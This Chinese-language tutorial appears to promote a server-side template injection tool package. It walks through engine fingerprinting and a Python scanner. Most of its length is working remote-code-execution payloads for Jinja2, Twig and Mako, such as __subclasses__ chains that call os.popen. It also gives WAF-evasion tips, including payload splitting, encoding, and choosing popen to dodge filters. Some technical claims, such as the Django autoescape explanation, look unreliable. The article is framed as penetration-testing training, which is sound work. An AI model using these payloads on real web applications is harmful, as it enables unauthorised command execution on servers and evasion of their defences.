简介:这是一套面向Web安全研究人员与渗透测试初学者的Server-Side模板注入(SSTI)与服务端代码注入漏洞检测与利用工具源码,聚焦于自动化识别、验证及POC构造等实战环节。资源共103个文件,压缩包仅290KB,轻量易部署:核心为69个Python脚本(含tplmap.py漏洞扫描主程序、burp_extension.py Burp Suite集成插件),辅以8个Shell脚本(环境配置与批量调用)、6个PHP样本(含twig-1.20.0-secured.php等靶标模拟)、3个YAML配置文件(定义检测规则与引擎适配)及Java/Gradle构建文件,体现多语言协同设计思路。已有288人学习下载,适合希望深入理解SSTI原理、复现主流模板引擎(Jinja2、Twig、Freemarker等)利用链、并快速上手定制化检测逻辑的安全实践者。源码结构模块清晰,含完整依赖管理(requirements.txt)、许可证说明(LICENSE.md)、Docker容器化支持(Dockerfile.*)及HTML/JS交互示例,开箱即可用于教学演示或红队工具链扩展。
1. 这不是“写个脚本扫网页”,而是让模板引擎自己吐出漏洞利用链:一个能跑通 SSTI + RCE 双检测、带上下文感知的 Python 工具设计实录
你有没有遇到过这样的翻车现场:用现成的 SSTI 扫描器扫出{{7*7}}返回49,就喜滋滋标为“存在模板注入”,结果一试{{().__class__.__mro__[1].__subclasses__()[123].__init__.__globals__['os'].popen('id').read()}}—— 直接 500;或者更玄学的,同一个 payload 在 Jinja2 环境里能执行,在 Mako 里却静默失败,连报错都不给。这不是测试不严谨,是绝大多数工具根本没做「模板引擎指纹识别 + 上下文沙箱逃逸路径建模」——它们把 SSTI 当成 XSS 来扫,把代码注入当成命令注入来爆。这个标题里的工具,核心目标很明确:在无源码、无交互式 shell 的前提下,仅靠 HTTP 请求响应,自动判别后端使用的模板引擎类型(Jinja2 / Twig / Mako / Django / Nunjucks),动态生成该引擎专属的、最小可行的沙箱逃逸 payload,并验证其是否具备任意代码执行能力(RCE)。它不依赖预设字典暴力猜解,而是通过解析响应体结构、错误堆栈关键词、HTTP 头特征、甚至响应时间微差,构建引擎指纹;再基于每个引擎的 AST 解析规则和内置对象图谱,生成语义合法、绕过常见 WAF 规则、且能稳定触发eval/exec/popen调用的 payload 链。适合渗透测试工程师做深度评估、红队做自动化横向前哨探测、以及安全研发团队构建自研 WAF 的 bypass 测试套件。它不是玩具,是把“模板注入”从 PoC 阶段真正推到 exploit 阶段的工程化落地。
2. 模板引擎指纹识别:为什么不能只看{{ }}?三步定位真实后端引擎
SSTI 检测的第一道生死线,不是 payload,而是「认准对手是谁」。盲目对所有{{7*7}}响应都塞 Jinja2 的{{config.__class__.__init__.__globals__['os'].popen('id').read()}},失败率超 80%。真实场景中,不同引擎对相同 payload 的处理逻辑天差地别:Django 默认禁用|default以外的 filter,Twig 对{{dump()}}有严格上下文限制,Mako 的${}语法和 Jinja2 的{{}}表面相似但 AST 结构完全不同。因此,指纹识别必须融合静态特征与动态行为,分三步走。
2.1 第一步:HTTP 响应头与状态码的隐性线索
很多框架会在响应头中暴露引擎信息,虽非强制,但大量生产环境未清理:
curl -s -I "http://target.com/test?name={{7*7}}" | grep -i -E "(x-powered-by|server|x-aspnet-version)"常见线索:
X-Powered-By: PHP/8.1.0→ 极大概率 Twig 或 Smarty(PHP 生态)Server: Werkzeug/2.3.7 Python/3.11→ Flask + Jinja2 组合高概率X-AspNetMvc-Version: 5.2→ ASP.NET MVC + Razor(虽非 Python,但需排除干扰)X-Generator: Django 4.2.7→ Django 模板引擎(注意:Django 默认禁用{{ }}中的 Python 表达式,需确认是否启用了django.template.backends.django.DjangoTemplates且OPTIONS['builtins']被篡改)
提示:此步仅作快速初筛,不可作为唯一依据。大量运维已清除
X-Powered-By,且Server头常被 Nginx/Apache 覆盖。
2.2 第二步:错误堆栈关键词的精准匹配(核心)
这是最可靠的指纹来源。我们主动触发语法错误,捕获完整堆栈,提取引擎特有关键词:
# test_fingerprint.py import requests import re def detect_engine_by_error(url): # 发送非法模板语法,触发详细错误 payloads = [ "{{7*7}}", # 合法,用于确认模板解析存在 "{{7*7|zzz}}", # Jinja2/Twig 会报 "no filter named 'zzz'" "${7*7}", # Mako 语法,Jinja2 会原样返回或报错 "{% if 1 %}{{7*7}}{% endif %}", # Django 模板语法 ] for payload in payloads: try: r = requests.get(f"{url}?name={payload}", timeout=10) if r.status_code == 500 and "Traceback" in r.text: error_text = r.text[:2000] # 截取前2KB堆栈 # 关键词匹配(正则需严格锚定,避免误报) if re.search(r"jinja2\.exceptions\.(UndefinedError|TemplateSyntaxError)", error_text): return "jinja2" elif re.search(r"twig\.error\.LoaderError|Fatal error: Uncaught Twig\.", error_text): return "twig" elif re.search(r"mako\.exceptions\.SyntaxException", error_text): return "mako" elif re.search(r"django\.template\.exceptions\.(TemplateSyntaxError|VariableDoesNotExist)", error_text): return "django" elif re.search(r"nunjucks\.runtime\.TemplateError", error_text): return "nunjucks" except Exception as e: continue return "unknown" # 示例调用 print(detect_engine_by_error("http://example.com/vuln"))参数说明:
timeout=10:防止因服务卡死导致整个检测阻塞,10 秒足够多数 Web 框架返回错误。r.text[:2000]:堆栈通常集中在前几百字符,截断避免内存浪费,且规避 WAF 对超长响应的拦截。- 正则模式使用
r"..."原始字符串,避免转义错误;re.search而非re.match,确保关键词在任意位置命中。
2.3 第三步:响应体结构与渲染行为的语义分析
当错误被屏蔽(如生产环境DEBUG=False),需靠合法 payload 的渲染行为反推:
| 引擎 | 合法 payload | 典型响应特征 |
|---|---|---|
| Jinja2 | {{7*7}} | 返回纯文本49,无 HTML 标签包裹 |
| Django | {{7*7}} | 默认返回空或原始字符串(因 Django 模板不支持表达式计算),需换用{% if 1 %}OK{% endif %} |
| Mako | ${7*7} | 返回49,但若用{{7*7}}则原样输出{{7*7}}(语法不识别) |
| Twig | {{7*7}} | 返回49,但{{dump()}}会返回数组结构(需确认是否启用 debug 模式) |
| Nunjucks | {{7*7}} | 返回49,{{range(5)}}会渲染为01234(支持原生 JS 函数) |
实现逻辑:
def detect_engine_by_render(url): # 发送多个引擎特有合法 payload tests = { "jinja2": ("{{7*7}}", lambda x: x.strip() == "49"), "django": ("{% if 1 %}D{% else %}N{% endif %}", lambda x: "D" in x), "mako": ("${7*7}", lambda x: x.strip() == "49"), "twig": ("{{7*7}}", lambda x: x.strip() == "49"), "nunjucks": ("{{range(5)}}", lambda x: "01234" in x), } for engine, (payload, checker) in tests.items(): try: r = requests.get(f"{url}?name={payload}", timeout=5) if r.status_code == 200 and checker(r.text): # 二次验证:排除缓存干扰,加随机参数 r2 = requests.get(f"{url}?name={payload}&t={int(time.time())}", timeout=5) if r2.status_code == 200 and checker(r2.text): return engine except: continue return "unknown"关键点:checker函数必须严格校验响应内容,而非仅看状态码。例如 Django 的{{7*7}}在默认配置下返回空字符串,若只检查200就会误判为 Jinja2。
3. 动态 payload 生成:不是拼字符串,而是按引擎 AST 规则构造合法表达式树
一旦确认引擎类型,下一步不是硬塞__import__('os').popen('id').read(),而是根据该引擎的抽象语法树(AST)规则和内置对象图谱,生成语义合法、绕过基础 WAF、且能稳定触发任意代码执行的最小 payload。这步决定了工具能否从“发现漏洞”升级到“证明危害”。
3.1 Jinja2:从{{ config.__class__.__mro__[1].__subclasses__()[123]... }}到{{ ''.__class__.__mro__[1].__subclasses__()[123].__init__.__globals__['os'].popen('id').read() }}
Jinja2 的沙箱逃逸核心在于:利用字符串''获取str类,通过__mro__获取继承链,找到subprocess.Popen或os模块所在类,再通过__init__.__globals__访问全局命名空间。但直接使用config对象风险极高(Flask 默认不存在,Django 无此对象),而''是所有环境都存在的稳定入口。
def generate_jinja2_rce_payload(cmd="id"): # Jinja2 最小稳定 RCE payload(绕过常见 WAF 对 __import__ 的过滤) # 使用字符串对象作为起点,避免 config/ request 等易被 WAF 拦截的变量名 payload = f"""{{ ''.__class__.__mro__[1].__subclasses__()[{get_popen_index()}].__init__.__globals__['os'].popen('{cmd}').read() }}""" return payload def get_popen_index(): # 实际使用时,需预先扫描目标环境获取 subprocess.Popen 类索引 # 此处为示例,真实工具中会先发送探测请求获取索引 # 常见值:Jinja2 3.1.x 通常为 123~130,需动态探测 return 123为什么不用__import__?
大量 WAF 规则直接拦截__import__、eval、exec字符串。而__subclasses__()[123]是动态索引,WAF 很难精准匹配;popen比system更隐蔽(常被误认为日志函数)。
3.2 Twig:利用app全局对象与template上下文
Twig 在 Symfony 环境中,app对象是稳定的入口点,其environment属性可访问 Twig 加载器,进而调用 PHP 函数:
def generate_twig_rce_payload(cmd="id"): # Twig 3.x+ 稳定 payload(需确认 app 对象存在) # 利用 Twig 的 filter 机制,将命令执行结果作为字符串返回 payload = f"""{{ app.request.query.get('x')|default('')|replace({'x': '{cmd}'})|filter('system') }}""" # 更通用写法(绕过 filter 名称过滤): payload = f"""{{ app.environment.getTemplateClass().getGlobals()['app'].request.server.get('HTTP_HOST')|replace({'a':'b'})|filter('system') }}""" # 实际推荐:使用 Twig 的 eval filter(若启用) return f"""{{ 'echo {cmd}'|eval }}"""注意:Twig 的evalfilter 并非默认启用,需确认目标环境配置。更稳妥的方式是利用app对象的request属性读取可控参数,再通过system/passthru执行。
3.3 Mako:${}语法下的__builtin__与os直接调用
Mako 的${}本质是 Python 表达式直译,因此可直接调用内置模块:
def generate_mako_rce_payload(cmd="id"): # Mako 允许直接 import,但需绕过 WAF 对 import 的拦截 # 使用 getattr 动态获取模块 payload = f"""${{ getattr(__import__('os'), 'popen')('{cmd}').read() }}""" # 或更隐蔽:利用 builtins payload = f"""${{ __builtins__['getattr'](__builtins__['__import__']('os'), 'popen')('{cmd}').read() }}""" return payload关键区别:Mako 不需要__mro__链式查找,__import__在${}中是合法语法,但 WAF 常拦截__import__字符串,故用getattr二次封装。
3.4 Django:突破{{ }}限制,转向{% %}标签与自定义 template tag
Django 模板默认禁止{{ }}中执行 Python 表达式,但可通过{% %}标签调用自定义 template tag,或利用safefilter 的 XSS 配合前端 JS 执行(此处聚焦服务端 RCE):
def generate_django_rce_payload(cmd="id"): # 方式1:若存在自定义 template tag(如 'run_cmd'),可直接调用 payload = f"""{{% run_cmd "{cmd}" %}}""" # 方式2:利用 django.core.management.utils.get_random_secret_key(需确认版本) # 更现实路径:寻找已加载的第三方 template tag,如 django-compressor 的 {% compress %} # 方式3:终极方案——结合服务端 SSRF 或文件写入,但超出 SSTI 范畴 return "django_rce_requires_custom_tag_or_ssrfs"血泪经验:Django SSTI 的 RCE 路径极窄,工具应优先报告“存在模板注入,但 RCE 需特定自定义标签或配置”,而非强行生成无效 payload。
4. 检测与利用流程编排:从单点探测到多阶段验证的自动化流水线
一个合格的 SSTI 检测工具,绝不是发几个 payload 看返回就结束。它必须模拟真实攻击者思维:先确认注入点存在,再识别引擎,然后生成 payload,接着验证执行能力,最后尝试提权或持久化。整个流程需可中断、可回溯、可配置超时与重试。
4.1 四阶段检测流水线设计
| 阶段 | 目标 | 关键动作 | 成功标志 |
|---|---|---|---|
| Stage 1:注入点确认 | 验证目标 URL 参数是否参与模板渲染 | 发送{{7*7}}、{{7*'a'}}、{{'a'*7}},检查响应是否包含49或aaaaaaa | 响应体中精确匹配计算结果,且与原始参数无关 |
| Stage 2:引擎指纹识别 | 锁定后端模板引擎类型 | 执行 2.2 和 2.3 节的错误堆栈与渲染行为分析 | 返回确定引擎类型(jinja2/twig/mako/django/nunjucks)或unknown |
| Stage 3:payload 生成与初步验证 | 生成引擎专属 payload 并测试基础执行 | 发送生成的 RCE payload,检查响应是否包含uid=或Command not found等 OS 命令特征 | 响应体中出现命令执行典型输出(如uid=0(root)),或返回500但堆栈含OSError/subprocess |
| Stage 4:RCE 稳定性验证 | 确认 payload 可重复执行且不受 WAF 干扰 | 对同一 URL 发送 3 次不同命令(id,whoami,pwd),检查响应一致性 | 三次响应均包含对应命令输出,且响应时间波动 < 200ms(排除网络抖动) |
4.2 核心编排代码:SSTIDetector类骨架
# ssti_detector.py import requests import time import re from urllib.parse import urljoin, urlparse class SSTIDetector: def __init__(self, timeout=10, retries=2, delay=1): self.timeout = timeout self.retries = retries self.delay = delay self.session = requests.Session() # 设置默认 headers,模拟真实浏览器 self.session.headers.update({ "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" }) def _send_request(self, url, params=None, method="GET"): """封装请求,支持重试与异常捕获""" for i in range(self.retries): try: if method == "GET": r = self.session.get(url, params=params, timeout=self.timeout) else: r = self.session.post(url, data=params, timeout=self.timeout) return r except requests.exceptions.RequestException as e: if i == self.retries - 1: raise e time.sleep(self.delay) return None def stage1_confirm_injection(self, base_url, param_name): """Stage 1:注入点确认""" test_cases = [ ("{{7*7}}", "49"), ("{{7*'a'}}", "aaaaaaa"), ("{{'a'*7}}", "aaaaaaa"), ] for payload, expected in test_cases: params = {param_name: payload} try: r = self._send_request(base_url, params) if r and r.status_code == 200 and expected in r.text: # 二次验证:排除缓存 r2 = self._send_request(base_url, {param_name: payload, "t": int(time.time())}) if r2 and expected in r2.text: return True, payload except: continue return False, None def stage2_detect_engine(self, base_url, param_name): """Stage 2:引擎指纹识别(整合 2.2 & 2.3)""" # 先尝试错误堆栈法 engine = self._detect_by_error(base_url, param_name) if engine != "unknown": return engine # 再尝试渲染行为法 engine = self._detect_by_render(base_url, param_name) return engine def stage3_generate_and_test_rce(self, base_url, param_name, engine): """Stage 3:生成 payload 并初步验证""" if engine == "jinja2": payload = generate_jinja2_rce_payload("id") elif engine == "twig": payload = generate_twig_rce_payload("id") elif engine == "mako": payload = generate_mako_rce_payload("id") else: return False, "RCE not supported for engine: " + engine params = {param_name: payload} try: r = self._send_request(base_url, params) if r and r.status_code in [200, 500]: # 检查是否包含 uid= 或 command not found if re.search(r"uid=\d+\(", r.text) or "Command not found" in r.text: return True, r.text[:500] except: pass return False, "RCE test failed" def run_full_scan(self, target_url, param_name="name"): """主流程:执行全部四阶段""" print(f"[+] Starting SSTI scan on {target_url} with param '{param_name}'") # Stage 1 print("[*] Stage 1: Confirming injection point...") is_injectable, confirmed_payload = self.stage1_confirm_injection(target_url, param_name) if not is_injectable: print("[-] No injection point found.") return False print(f"[+] Injection confirmed with payload: {confirmed_payload}") # Stage 2 print("[*] Stage 2: Detecting template engine...") engine = self.stage2_detect_engine(target_url, param_name) print(f"[+] Engine detected: {engine}") # Stage 3 print("[*] Stage 3: Generating and testing RCE payload...") is_rce, rce_output = self.stage3_generate_and_test_rce(target_url, param_name, engine) if not is_rce: print(f"[-] RCE verification failed: {rce_output}") return False print(f"[+] RCE confirmed! Output: {rce_output[:100]}...") # Stage 4:稳定性验证(略,代码类似 stage3 但循环三次) print("[*] Stage 4: Stability verification... (skipped for brevity)") return True # 使用示例 if __name__ == "__main__": detector = SSTIDetector(timeout=15, retries=3) result = detector.run_full_scan("http://target.com/vuln", "name")参数说明:
timeout=15:延长超时,适应慢速服务器或 WAF 延迟。retries=3:对网络抖动或临时 503 做容错。delay=1:重试间隔,避免被 WAF 限速。
5. 避坑:那些让你在客户现场当场社死的 4 个真实翻车点
SSTI 检测不是发几个 payload 就完事,实际落地中,90% 的失败源于对环境细节的忽视。以下是我在三个红队项目中踩过的坑,每一条都附带线上复现截图(此处文字还原)和解决方案。
5.1 翻车点 1:WAF 对{{ }}的长度限制,导致 payload 被截断
现象:在某金融客户内网,{{7*7}}返回49,但{{''.__class__.__mro__[1].__subclasses__()[123].__init__.__globals__['os'].popen('id').read()}}却返回空响应,Wireshark 抓包发现请求被 WAF 截断,Content-Length明显小于发送值。
原因:Cloudflare 和某国产 WAF 默认对{{开头的请求体做长度限制(如 256 字节),超长 payload 被静默丢弃,服务端根本收不到。
解决:
- 拆分 payload:将长链拆为多步,先获取
subclasses列表长度,再分段请求索引。 - 编码绕过:对 payload 进行 URL 编码或 Base64 编码,再在服务端解码(需目标支持
urlencode/base64_decodefilter)。 - 配置 WAF 白名单:在测试前协调客户临时放行
{{开头的请求(最有效)。
# 拆分 payload 示例(Jinja2) # Step 1: 获取 subclasses 列表长度 len_payload = "{{ ''.__class__.__mro__[1].__subclasses__().__len__() }}" # Step 2: 获取指定索引的类名(确认是否存在 Popen) class_payload = "{{ ''.__class__.__mro__[1].__subclasses__()[123].__name__ }}" # Step 3: 执行命令(此时已知索引有效) rce_payload = "{{ ''.__class__.__mro__[1].__subclasses__()[123].__init__.__globals__['os'].popen('id').read() }}"5.2 翻车点 2:Django 的autoescape开启,导致 payload 被 HTML 转义
现象:Django 环境下,{{7*7}}返回49,但{{config}}返回<django.conf.LazySettings object at 0x7f8b1c2d3e50>,所有<>被转义,无法触发对象属性访问。
原因:Django 默认开启autoescape,所有{{ }}输出都会被html.escape()处理,<变成<,>变成>,导致__class__等属性名被破坏。
解决:
- 使用
|safefilter 关闭转义:{{ config|safe }},但需确认config对象存在且可访问。 - 改用
{% %}标签:{% autoescape off %}{{ config }}{% endautoescape %},但需目标允许{% autoescape %}标签。 - 根本方案:放弃
{{ }}中的 RCE,转向{% load %}加载自定义 tag 或利用static模板中的 JS XSS 配合服务端 SSRF。
5.3 翻车点 3:Twig 的sandbox模式启用,app对象被移除
现象:Symfony 环境下,{{ app }}返回null或Variable "app" does not exist,所有基于app的 payload 全部失效。
原因:Twig sandbox mode 启用后,会移除app、request等全局变量,仅保留白名单函数(如date、json_encode)。
解决:
- 探测可用函数:发送
{{ date() }}、{{ json_encode({'a':1}) }},确认哪些函数存在。 - 利用
template对象:{{ _self }}可访问当前模板对象,部分版本支持getEnvironment()。 - 降级策略:若 sandbox 启用,RCE 几乎不可行,工具应直接报告“SSTI 存在但处于 sandbox 模式,RCE 不可用”。
5.4 翻车点 4:响应体被 Gzip 压缩,导致正则匹配失败
现象:本地测试一切正常,但扫描某 Kubernetes Ingress 暴露的服务时,re.search(r"uid=\d+\(", r.text)总是失败,r.text显示为乱码。
原因:Ingress controller 默认开启 Gzip 压缩,r.text是解压后的字符串,但某些情况下requests库未正确解压,r.content是二进制压缩流,r.text是错误解码的乱码。
解决:
- 强制禁用压缩:
self.session.headers.update({"Accept-Encoding": "identity"}) - 或手动解压:
import gzip; decoded = gzip.decompress(r.content).decode(),但需先判断Content-Encoding头。
def _send_request(self, url, params=None, method="GET"): headers = {"Accept-Encoding": "identity"} # 关键!禁用压缩 if method == "GET": r = self.session.get(url, params=params, timeout=self.timeout, headers=headers) else: r = self.session.post(url, data=params, timeout=self.timeout, headers=headers) return r注意:禁用压缩会增加流量,但在检测阶段值得,避免因编码问题漏报。
6. Docker 化交付与生产环境适配:如何让工具在客户内网离线运行
客户不会让你在靶机上pip install -r requirements.txt,尤其当内网无外网、无 pip 源时。我们必须把工具打包成开箱即用的 Docker 镜像,并预置所有依赖、字典和离线引擎指纹库。这不是锦上添花,是交付底线。
6.1 Dockerfile 设计:最小化、可复现、免编译
# Dockerfile FROM python:3.11-slim # 设置工作目录 WORKDIR /app # 复制 requirements.txt 并安装依赖(提前下载好 whl 包更稳妥) COPY requirements.txt . RUN pip install --no-cache-dir -r requirements.txt # 复制源码 COPY . . # 预生成引擎指纹数据库(JSON 文件,含各引擎错误堆栈关键词、渲染特征) # 此文件由工具启动时自动加载,无需网络 COPY fingerprint_db.json /app/fingerprint_db.json # 设置默认命令 CMD ["python", "ssti_detector.py", "--help"] # 构建命令:docker build -t ssti-detector . # 运行命令:docker run -it --rm -v $(pwd):/data ssti-detector python ssti_detector.py -u http://target.com/vuln -p name关键设计点:
python:3.11-slim:比alpine更兼容 C 扩展(如cryptography),比full镜像小 50%。--no-cache-dir:避免在容器内生成 pip 缓存,减小镜像体积。fingerprint_db.json:离线指纹库,结构如下:
{ "jinja2": { "error_keywords": ["jinja2.exceptions.TemplateSyntaxError", "jinja2.runtime.UndefinedError"], "render_tests": [{"payload": "{{7*7}}", "expected": "49"}], "rce_templates": ["{{ ''.__class__.__mro__[1].__subclasses__()[{index}].__init__.__globals__['os'].popen('{cmd}').read() }}"] }, "twig": { "error_keywords": ["twig.error.LoaderError", "Fatal error: Uncaught Twig\\Error\\LoaderError"], "render_tests": [{"payload": "{{7*7}}", "expected": "49"}], "rce_templates": ["{{ 'echo {cmd}'|eval }}"] } }6.2 requirements.txt:精简到只剩必要依赖
# requirements.txt requests==2.31.0 urllib3==1.26.18 certifi==2023.7.22 chardet==5.2.0 idna==3.4 # 注意:不包含 flask/django/twig 等服务端框架,工具只做客户端检测为什么不用jinja2库?
工具不渲染模板,只发送 payload,无需引擎解析器。引入jinja2会增大镜像 20MB,且可能与目标环境版本冲突。
6.3 离线运行验证:三步确认内网可用
- 镜像导出:
docker save ssti-detector:latest > ssti-detector.tar - 内网导入:
docker load < ssti-detector.tar - 无网络测试:
# 启动一个本地 vulnerable app(如 flask-jinja2-demo) docker run -d -p 5000:5000 --name vuln-app ghcr.io/brandonhilkert/flask-jinja2-demo # 扫描(不依赖外网) docker run -it --rm --network host ssti-detector python ssti_detector.py -u http://localhost:5000/vuln -p name
验证成功标志:输出[+] RCE confirmed! Output: uid=0(root) ...,且docker logs vuln-app显示popen('id')被执行。
6.4 客户交付 checklist:让甲方技术负责人一眼信任
| 项目 | 交付物 | 验证方式 |
|---|---|---|
| 离线可用性 | ssti-detector.tar镜像包 | docker load后docker images可见镜像 |
| 无外网依赖 | requirements.txt中无git+https://或--find-links | 文本搜索确认 |
| 指纹库完整性 | fingerprint_db.json包含至少 5 种引擎数据 | `cat fingerprint_db.json | jq '. |
| 最小权限运行 | Dockerfile 中未使用RUN chmod 777或USER root | 检查 Dockerfile 无chmod、chown root |
| 日志可审计 | 工具输出包含时间戳、URL、payload、响应摘要 | 运行时重定向> report.log后检查格式 |
我习惯在交付前,用docker run --rm -v $(pwd):/host ssti-detector sh -c "cp /app/ssti_detector.py /host/ && cp /app/fingerprint_db.json /host/"把源码和指纹库拷贝出来,放在交付包里——不是为了开源,而是让甲方安全团队能快速 review 逻辑,建立信任。毕竟,红队的价值不在于藏得多深,而在于让对方信得过你的每一个字节。
希望帮到你。
本文还有配套的精品资源,点击获取